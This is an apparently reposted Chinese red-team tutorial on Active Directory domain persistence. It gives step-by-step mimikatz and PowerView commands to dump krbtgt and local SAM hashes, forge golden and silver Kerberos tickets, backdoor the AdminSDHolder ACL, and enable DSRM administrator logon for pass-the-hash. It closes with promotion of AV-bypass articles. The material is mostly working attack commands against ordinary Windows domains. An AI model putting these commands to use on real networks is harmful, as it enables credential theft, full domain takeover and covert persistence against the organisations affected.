首发先知社区:https://xz.aliyun.com/t/9964
可以使用krbtgt的NTLM hash创建作为任何用户的有效TGT。要伪造黄金票据的前提是知道域的SID和krbtgt账户的hash或者AES-256值。
privilege::debug
lsadump::lsa /inject /name:krbtgt
得到krbtgt的hash:
c73caed3bc6f0a248e51d37b9a8675fa
域sid值:
S-1-5-21-151877218-3666268517-4145415712
使用mimikatz伪造kerberos票证
生成gold.kribi
mimikatz "kerberos::golden /domain:redteam.local /sid:S-1-5-21-151877218-3666268517-4145415712
/krbtgt:c73caed3bc6f0a248e51d37b9a8675fa /user:administrator
/ticket:gold.kirbi"
可以看到没有任何票证。
导入gold.kribi
kerberos::ptt C:\Users\jack\Desktop\gold.kirbi
成功导入administrator票据。
可以通过事件管理器查看到是以administrator来登录的
如果我们拥有服务的hash,就可以给自己签发任意用户的TGS票据。金票是伪造TGT可用于访问任何Kerberos服务,而银票是伪造TGS,仅限于访问针对特定服务器的任何服务。
这里使用CIFS服务,该服务是windows机器之间的文件共享。
whoami /user
privilege::Debug
sekurlsa::logonpasswords
kerberos::golden /domain:redteam.local /sid:S-1-5-21-151877218-3666268517-4145415712 /target:DC.redteam.local /service:cifs /rc4:0703759771e4bed877ecd472c95693a5 /user:administrator /ptt
psexec获取DC机器cmd
AdminSDHolder是一个特殊的AD容器,具有一些默认安全权限,用作受保护AD账户和组的模板,当我们获取到域控权限,就可以通过授予该用户对容器进行滥用,使该用户成为域管。
默认情况下,该组的 ACL 被复制到所有“受保护组”中。这样做是为了避免有意或无意地更改这些关键组。但是,如果攻击者修改了AdminSDHolder组的 ACL,例如授予普通用户完全权限,则该用户将拥有受保护组内所有组的完全权限(在一小时内)。如果有人试图在一小时或更短的时间内从域管理员中删除此用户(例如),该用户将回到组中。
在server2000中引入,默认包含如下的组:
Administrators
Domain Admins
Account Operators
Backup Operators
Domain Controllers
Enterprise Admins
Print Operators
Replicator
Read-only Domain Controllers
Schema Admins
Server Operators
其中Administrators、Domain Admins、Enterprise Admins组对AdminSDHolder上的属性具有写权限,受保护的ad账户和组的具备admincount属性值为1的特征。
查询ad保护的域的用户
Get-NetUser -AdminCount |select samaccountname
查询域中受ad保护的所有组
Get-netgroup -AdminCount | select name
查询ad保护的域中所有的用户和组
Import-Module ActiveDirectory
Get-ADObject -LDAPFilter "(&(admincount=1)(|(objectcategory=person)(objectcategory=group)))" |select name
添加jack用户对其有完全控制权限。
Add-DomainObjectAcl -TargetIdentity AdminSDHolder -PrincipalIdentity jack -Rights All
然后验证下,这里的sid为jack用户的。
Get-DomainObjectAcl adminsdholder | ?{$_.SecurityIdentifier -match "S-1-5-21-15187721
8-3666268517-4145415712-1106"} | select objectdn,ActiveDirectoryRights |sort -Unique
默认会等待60分钟,可以通过修改注册表来设置为60秒后触发。
reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 1 /f
恢复触发时间
reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 120 /f
取消jack用户对adminSDHolder的权限
Remove-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=redteam,DC=local" -PrincipalIdentity jack -Rights All -Verbose
每个DC内部都有一个本地管理员账户,在该机器上拥有管理员权限。
token::elevate
lsadump::sam
得到hash为:
852a844adfce18f66009b4f14e0a98de
如果注册表项的值为0或者不存在,需要将其设置为2。
检查key是否存在并且获取值:
Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior
如果不存在则创建值为2的键:
New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 -PropertyType DWORD
如果存在但是不为2设置为2:
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2
sekurlsa::pth /domain:DC /user:Administrator /ntlm:852a844adfce18f66009b4f14e0a98de /run:powershell.exe
加下方wx,拉你一起进群学习
往期推荐
从反制Cobalt Strike到CVE-2022-39197再到RCE的探索之路
什么?你还不会webshell免杀?(八)
SPN的相关利用
什么?Windows defender 竟如此脆弱?
最新办法绕过360核晶添加计划任务
一款域信息收集神器
最新绕过360添加用户 | 红队蓝军祝您双节快乐
域内批量获取敏感文件